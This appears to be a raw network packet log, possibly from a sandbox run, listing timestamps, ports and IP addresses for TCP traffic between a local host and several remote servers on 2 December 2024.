Dec 2, 2024 04:58:42.507153988 CET	80	49745	38.31.228.123	192.168.2.4
Dec 2, 2024 04:58:42.777669907 CET	49751	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:58:42.849472046 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:42.849493027 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:42.849507093 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:42.849575996 CET	49834	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:42.849592924 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:42.849651098 CET	49834	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:42.890539885 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:42.890579939 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:42.890608072 CET	49834	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:42.890618086 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:42.890631914 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:42.890645981 CET	49834	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:42.890686035 CET	49834	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:42.890712023 CET	49834	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:42.890724897 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:42.890734911 CET	49834	443	192.168.2.4	52.149.20.212
Dec 2, 2024 04:58:42.890739918 CET	443	49834	52.149.20.212	192.168.2.4
Dec 2, 2024 04:58:42.897577047 CET	80	49751	38.31.228.123	192.168.2.4
Dec 2, 2024 04:58:43.088716984 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:43.088747978 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:43.088999033 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:43.089262009 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:43.089272976 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:43.949512959 CET	49749	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:58:44.069499969 CET	80	49749	38.31.228.123	192.168.2.4
Dec 2, 2024 04:58:44.937494993 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:44.937567949 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:44.938851118 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:44.938863993 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:44.939070940 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:44.945728064 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:44.991341114 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.453207016 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.453227997 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.453242064 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.453295946 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.453315973 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.453362942 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.465133905 CET	49757	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:45.584974051 CET	80	49757	112.34.113.148	192.168.2.4
Dec 2, 2024 04:58:45.653160095 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.653175116 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.653264046 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.653275967 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.653320074 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.701313019 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.701327085 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.701394081 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.701405048 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.701445103 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.840130091 CET	49761	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:45.843040943 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.843061924 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.843110085 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.843121052 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.843151093 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.843162060 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.855747938 CET	49756	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:45.867410898 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.867424965 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.867486000 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.867492914 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.867517948 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.867532015 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.887725115 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.887738943 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.887859106 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.887877941 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.887923956 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.905241966 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.905261040 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.905297995 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.905303955 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:45.905329943 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.905342102 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:45.959989071 CET	80	49761	112.34.113.148	192.168.2.4
Dec 2, 2024 04:58:45.975622892 CET	21233	49756	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:46.046276093 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.046293020 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.046367884 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.046379089 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.046418905 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.062711000 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.062727928 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.062819004 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.062832117 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.062870979 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.076097012 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.076112986 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.076184034 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.076189995 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.076231003 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.087268114 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.087281942 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.087342024 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.087348938 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.087388992 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.098611116 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.098633051 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.098721981 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.098731995 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.098776102 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.109170914 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.109185934 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.109262943 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.109268904 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.109318018 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.112488985 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.112550020 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.112555027 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.112565994 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.112593889 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.112622976 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.112662077 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.112678051 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.112689972 CET	49836	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.112694979 CET	443	49836	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.150216103 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.150244951 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.150322914 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.152138948 CET	49842	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.152146101 CET	443	49842	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.152172089 CET	49841	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.152198076 CET	49842	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.152221918 CET	443	49841	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.152375937 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.152390957 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.152390957 CET	49841	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.152661085 CET	49842	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.152672052 CET	443	49842	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.153491974 CET	49843	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.153527021 CET	443	49843	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.153609991 CET	49841	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.153633118 CET	443	49841	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.153641939 CET	49843	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.153707981 CET	49843	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.153717041 CET	443	49843	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.154752016 CET	49844	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.154782057 CET	443	49844	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.154836893 CET	49844	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.154946089 CET	49844	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:46.154962063 CET	443	49844	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:46.871423006 CET	49770	80	192.168.2.4	180.101.212.103
Dec 2, 2024 04:58:46.991522074 CET	80	49770	180.101.212.103	192.168.2.4
Dec 2, 2024 04:58:47.387012005 CET	49760	80	192.168.2.4	112.34.113.148
Dec 2, 2024 04:58:47.506994963 CET	80	49760	112.34.113.148	192.168.2.4
Dec 2, 2024 04:58:47.637021065 CET	49755	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:47.756865978 CET	21233	49755	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:47.867835999 CET	443	49842	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:47.868438005 CET	49842	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:47.868452072 CET	443	49842	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:47.868906021 CET	49842	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:47.868911982 CET	443	49842	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:47.870636940 CET	443	49843	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:47.870950937 CET	49843	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:47.870975971 CET	443	49843	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:47.871495962 CET	49843	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:47.871510983 CET	443	49843	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:47.933492899 CET	443	49844	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:47.933825970 CET	49844	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:47.933851957 CET	443	49844	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:47.934190989 CET	49844	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:47.934196949 CET	443	49844	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:47.995712996 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:47.996012926 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:47.996022940 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:47.996356964 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:47.996362925 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:47.998605967 CET	443	49841	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.000148058 CET	49841	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.000174999 CET	443	49841	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.000478983 CET	49841	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.000488043 CET	443	49841	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.306567907 CET	443	49843	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.306588888 CET	443	49843	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.306648016 CET	49843	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.306660891 CET	443	49843	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.306838036 CET	49843	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.306848049 CET	443	49843	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.306859970 CET	49843	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.306997061 CET	443	49843	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.307022095 CET	443	49843	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.307738066 CET	443	49842	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.307758093 CET	443	49842	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.307796001 CET	49843	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.307836056 CET	49842	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.307852983 CET	443	49842	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.307895899 CET	49842	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.307976007 CET	49842	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.307981968 CET	443	49842	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.307996988 CET	49842	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.308110952 CET	443	49842	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.308136940 CET	443	49842	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.309093952 CET	49842	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.309998035 CET	49845	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.310026884 CET	443	49845	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.310082912 CET	49846	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.310103893 CET	443	49846	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.310106039 CET	49845	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.310154915 CET	49846	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.310277939 CET	49845	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.310290098 CET	443	49845	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.310332060 CET	49846	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.310345888 CET	443	49846	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.376935005 CET	443	49844	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.376990080 CET	443	49844	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.377105951 CET	49844	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.377130032 CET	49844	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.377136946 CET	443	49844	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.377154112 CET	49844	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.377157927 CET	443	49844	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.379086971 CET	49847	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.379107952 CET	443	49847	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.379173040 CET	49847	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.379302025 CET	49847	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.379311085 CET	443	49847	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.458956003 CET	443	49841	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.459017992 CET	443	49841	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.459069014 CET	49841	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.459244967 CET	49841	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.459275007 CET	443	49841	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.459287882 CET	49841	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.459295988 CET	443	49841	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.461568117 CET	49848	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.461586952 CET	443	49848	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.461649895 CET	49848	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.461776018 CET	49848	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.461788893 CET	443	49848	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.464086056 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.464106083 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.464147091 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.464164019 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.464195013 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.464318991 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.464329958 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.464340925 CET	49840	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.464345932 CET	443	49840	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.466409922 CET	49849	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.466429949 CET	443	49849	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.466483116 CET	49849	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.466595888 CET	49849	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:48.466612101 CET	443	49849	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:48.871424913 CET	49746	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:58:48.991368055 CET	80	49746	38.31.228.123	192.168.2.4
Dec 2, 2024 04:58:49.168283939 CET	49768	21233	192.168.2.4	163.171.142.154
Dec 2, 2024 04:58:49.277641058 CET	49750	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:58:49.288194895 CET	21233	49768	163.171.142.154	192.168.2.4
Dec 2, 2024 04:58:49.397511005 CET	80	49750	38.31.228.123	192.168.2.4
Dec 2, 2024 04:58:50.025053978 CET	443	49846	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.026530027 CET	49846	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.026552916 CET	443	49846	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.026948929 CET	49846	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.026953936 CET	443	49846	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.089071989 CET	443	49845	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.089544058 CET	49845	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.089560032 CET	443	49845	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.089905024 CET	49845	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.089907885 CET	443	49845	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.158909082 CET	443	49847	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.162483931 CET	49847	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.162499905 CET	443	49847	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.162849903 CET	49847	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.162854910 CET	443	49847	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.176340103 CET	443	49848	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.176716089 CET	49848	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.176723957 CET	443	49848	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.177095890 CET	49848	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.177100897 CET	443	49848	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.245177984 CET	443	49849	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.245543003 CET	49849	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.245568991 CET	443	49849	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.245889902 CET	49849	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.245896101 CET	443	49849	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.466171026 CET	443	49846	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.466227055 CET	443	49846	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.466274977 CET	49846	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.466396093 CET	49846	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.466408968 CET	443	49846	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.466418028 CET	49846	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.466422081 CET	443	49846	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.468909979 CET	49850	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.468931913 CET	443	49850	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.469005108 CET	49850	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.469141960 CET	49850	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.469156027 CET	443	49850	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.534821987 CET	443	49845	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.534895897 CET	443	49845	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.534944057 CET	49845	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.535080910 CET	49845	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.535103083 CET	443	49845	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.535113096 CET	49845	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.535119057 CET	443	49845	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.537641048 CET	49851	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.537658930 CET	443	49851	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.537724018 CET	49851	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.537862062 CET	49851	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.537874937 CET	443	49851	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.602864981 CET	443	49847	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.602919102 CET	443	49847	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.602965117 CET	49847	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.603188038 CET	49847	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.603194952 CET	443	49847	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.603224039 CET	49847	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.603228092 CET	443	49847	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.605942965 CET	49852	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.605966091 CET	443	49852	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.606025934 CET	49852	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.606237888 CET	49852	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.606255054 CET	443	49852	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.613085985 CET	443	49848	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.613145113 CET	443	49848	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.613224983 CET	49848	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.613363028 CET	49848	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.613370895 CET	443	49848	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.613379955 CET	49848	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.613384008 CET	443	49848	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.615880013 CET	49853	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.615919113 CET	443	49853	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.615977049 CET	49853	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.616167068 CET	49853	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.616179943 CET	443	49853	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.690062046 CET	443	49849	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.690113068 CET	443	49849	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.690157890 CET	49849	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.690238953 CET	49849	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.690248013 CET	443	49849	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.690263033 CET	49849	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.690268040 CET	443	49849	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.692084074 CET	49854	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.692101002 CET	443	49854	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:50.692168951 CET	49854	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.692276001 CET	49854	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:50.692290068 CET	443	49854	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.357321978 CET	443	49851	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.357372046 CET	443	49850	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.357815027 CET	49851	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:58:52.357834101 CET	443	49851	13.107.246.63	192.168.2.4
Dec 2, 2024 04:58:52.358051062 CET	49850	443	192.168.2.4	13.107.246.63
